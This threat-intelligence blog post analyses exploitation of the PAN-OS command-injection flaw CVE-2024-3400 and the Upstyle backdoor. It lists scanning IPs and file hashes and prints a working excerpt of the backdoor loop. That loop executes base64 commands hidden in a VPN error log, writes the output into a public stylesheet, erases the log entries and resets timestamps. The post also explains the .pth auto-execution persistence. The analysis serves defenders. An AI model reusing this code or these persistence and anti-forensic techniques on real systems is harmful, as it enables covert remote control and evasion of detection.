A Look at CVE-2024-3400 Activity and Upstyle Backdoor Technical Analysis

Introduction

Recently, a zero-day command-injection vulnerability, assigned to CVE-2024-3400, was found in the Palo Alto Networks PAN-OS. It was assigned the maximum severity score of 10.0 and can be exploited by an unauthenticated user to run arbitrary commands on the target system with root privileges.

Volexity was the first to identify and report the vulnerability. Since then, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2024-3400 to its Known Exploited Vulnerability Catalog.

In this blog, we will share the vulnerability exploitation activity observed by Zscaler’s global intelligence network. And, we will examine the recently-discovered Python-based backdoor and its novel interaction mechanism with the operator.

Key Takeaways

  • Zscaler’s global intelligence network picked up CVE-2024-3400 activity right after the exploitation script was released.
  • The backdoor utilizes a .pth file for auto-execution and employs a novel indirect interaction with the backdoor by sending commands via error logs and receiving the output through a publicly accessible stylesheet.
  • On the same day the vulnerability was publicly disclosed, an exploitation Python-based script was also released to the public on GitHub, making it easier for other cyber criminals to exploit or test the appliances for this vulnerability. 

Activity Observed by Zscaler

Zscaler’s global intelligence network picked up activity from various known malicious sources targeting appliances across multiple customers. This activity was picked up almost immediately after the publication of the exploitation script on GitHub. The activity does not appear to target any particular region or industry vertical.

Most of the activity observed originated from malicious IPs already known to be associated with vulnerability scanning, Redline Stealer, and EvilProxy. 

However, one IP stands out from this group. We believe the IP address 67.55.94[.]84 is associated with a VPN provider. No other activity from this IP has been observed. Currently, there is insufficient evidence to attribute this IP to any specific threat actor.

Technical Analysis

We suspect the attackers intended to incorporate Upstyle in their attack sequence. Upstyle, a sophisticated backdoor initially identified by Volexity, employs innovative techniques for persistence, command reception, and output sharing with the operator. 

Attack flow

The figure below shows how the attack flow would unfold.

Figure 1: The possible firewall-based attack chain enabled by the PAN-OS zero-day vulnerability.
Figure 1: The possible firewall-based attack chain enabled by the PAN-OS zero-day vulnerability. 

Upstyle backdoor

The backdoor consists of three layers.

The first outer layer is the installer which contains the next layer in a base64-encoded format.

Layer 1 – Installer

The installer layer writes the next layer to the following path: /usr/lib/python3.6/site-packages/system.pth. Additionally, it will set the last access time and last modified time of the system.pth file to the same respective time as the installer script.

Finally, the installer script deletes itself and the /opt/pancfg/mgmt/licenses/PA_VM`* file.

The file path and the extension have special significance. Since the release of Python 3.5, any .pth file under site-packages is run at every Python startup and the lines starting with import (followed by space or tab) are executed, thereby setting up a unique auto-execution mechanism for the malicious code whenever any Python code is run on the system.

Layer 2 – Launcher

This layer contains the functional backdoor as another base64-encoded blob of code. It contains two functions named protect and check.

  • protect: This function likely protects the persistence mechanism and makes sure the backdoor stays in the system.pth file. It reads the contents of system.pth and adds a handler for the termination signal. The handler will write back the contents of the system.pth file before terminating.
     
  • check: This method is called after the protect method. It will check if it is running as /usr/local/bin/monitor mp by checking the file /proc/self/cmdline. If it is, the backdoor code will be executed. This could be a way to control the execution of the backdoor and avoid running multiple duplicates of the backdoor thread.

Layer 3 – Backdoor

On start, this backdoor will read the content, last access time, and last modified time of the file /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css so it can be restored later.

Then, it goes into an infinite loop and starts monitoring the error log file at /var/log/pan/sslvpn_ngx_error.log looking for one of the following regular expressions: img[([a-zA-Z0-9+/=]+)] or img{base64encoded_command}.

When a line matches, the pattern is found, the command is base64 decoded, executed, and the output is appended to the bootstrap.min.css file inside the comment tags, /* {command output here} */.

Finally, the log file is purged of the attacker’s generated error logs containing the malicious commands, and the error-log-file timestamps are restored. After 15 seconds the content and timestamps of the bootstrap.min.css file are also restored.

-- [snip] --
   css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css'
   content = open(css_path).read()
   atime=os.path.getatime(css_path)
   mtime=os.path.getmtime(css_path)
   while True:
       try:
           SHELL_PATTERN = 'img[([a-zA-Z0-9+/=]+)]'
           lines = []
           WRITE_FLAG = False
           for line in open("/var/log/pan/sslvpn_ngx_error.log",errors="ignore").readlines():
               rst = re.search(SHELL_PATTERN,line)
               if rst:
                   WRITE_FLAG = True
                   cmd = base64.b64decode(rst.group(1)).decode()
                   try:
                       output = os.popen(cmd).read()
                       with open(css_path,"a") as f:
                           f.write("/*"+output+"*/")
                   except Exception as e:
                       pass
                   continue
               lines.append(line)
           if WRITE_FLAG:
               atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error.log")
               mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error.log")
               with open("/var/log/pan/sslvpn_ngx_error.log","w") as f:
                   f.writelines(lines)
               os.utime("/var/log/pan/sslvpn_ngx_error.log",(atime,mtime))
               import threading
              threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
       except:
           pass
       time.sleep(2)
-- [snip] ---

Conclusion

CVE-2024-3400 is a highly severe vulnerability. There was an uptick in malicious activity soon after the exploitation script was released to the public on GitHub.

The founding principles of the Zero Trust Exchange Platform™, a zero trust architecture, and Defense in depth should be used in combination to defend against such attacks. In addition to deploying detection rules and monitoring for suspicious activity in environments, security teams should also adopt Deception Engineering. Strategic use of this technology can make it impossible for the adversary to move in the environment without tripping alerts.

Indicators Of Compromise (IOCs)

Vulnerability scan originating IPs

IP Comment
23.227.194.230 Known Malicious IP
154.88.26.223 Known Malicious IP
206.189.14.205 Known Malicious IP
67.55.94.84 SaferVPN IP

SHA256 Hashes

  • ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
  • 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
  • 949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
  • 710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb

Source: Original Post